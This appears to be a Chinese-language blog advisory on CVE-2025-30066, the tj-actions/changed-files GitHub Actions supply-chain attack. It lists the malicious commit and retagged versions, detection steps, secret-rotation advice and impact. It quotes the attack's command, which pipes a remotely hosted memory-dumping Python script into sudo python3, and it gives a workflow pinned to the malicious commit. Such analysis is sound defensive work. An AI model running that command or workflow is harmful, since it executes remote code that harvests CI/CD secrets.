GitHub Actions供应链攻击:CVE-2025-30066漏洞分析与修复指南

详细分析tj-actions/changed-files供应链攻击事件,攻击者通过恶意提交窃取CI/CD机密信息,影响超过23000个仓库,提供检测方法和修复建议。

CVE-2025-30066:tj-actions changed-files供应链攻击分析

漏洞概述

tj-actions/changed-files 在45.0.7及之前版本存在高危漏洞,允许远程攻击者通过读取Actions日志发现敏感机密信息。该漏洞被评定为高危级别,CVSS评分为8.6。

影响范围

受影响的版本

  • 所有 <= 45.0.7 的版本

已修复版本

  • 46.0.1

攻击详情

供应链攻击时间线

攻击发生在2025年3月14日至15日期间,攻击者通过逆向修改多个版本标签来引用恶意提交,影响了超过23,000个代码仓库。

关键攻击指标(IoC)

恶意提交哈希:

1
0e58ed8671d6b60d0890c21b07f8835ace038e67

被篡改的标签:

  • v1.0.0 → 指向恶意提交
  • v35.7.7-sec → 指向恶意提交
  • v44.5.1 → 指向恶意提交

恶意代码执行机制

攻击脚本通过以下命令下载并执行恶意Python脚本:

1
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

该脚本扫描Runner Worker进程内存中的机密信息,进行base64编码后输出到GitHub Actions日志中。

漏洞复现步骤

复现工作流配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67

检测方法

  • 使用Harden-Runner分析网络流量,检测到对 gist.githubusercontent.com 的未授权出站请求
  • 检查Actions日志中是否存在异常的base64编码输出

应急响应措施

立即行动检查清单

  1. 审查受影响期间的工作流

    • 检查2025年3月14-15日期间执行的工作流
    • 在changed-files部分查找异常输出
  2. 解码可疑输出

    1
    
    echo 'xxx' | base64 -d | base64 -d
    
  3. 更新工作流引用

    • 如果工作流直接引用恶意提交SHA,立即更新
    • 使用标签版本的用户无需操作(标签已修复)
  4. 轮换可能暴露的机密

    • 立即轮换在此期间可能暴露的所有API密钥、令牌和凭证

影响评估

漏洞类型

  • 供应链攻击
  • 机密信息泄露
  • 信息泄漏

受影响群体

  • 使用tj-actions/changed-files的23,000+仓库
  • 拥有公开仓库的组织风险最高

潜在后果

  • CI/CD机密信息被盗(API密钥、云凭证、SSH密钥)
  • 对源代码、基础设施和生产环境的未授权访问
  • 公开仓库中的凭证泄露,可能导致进一步的供应链攻击

参考资料

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计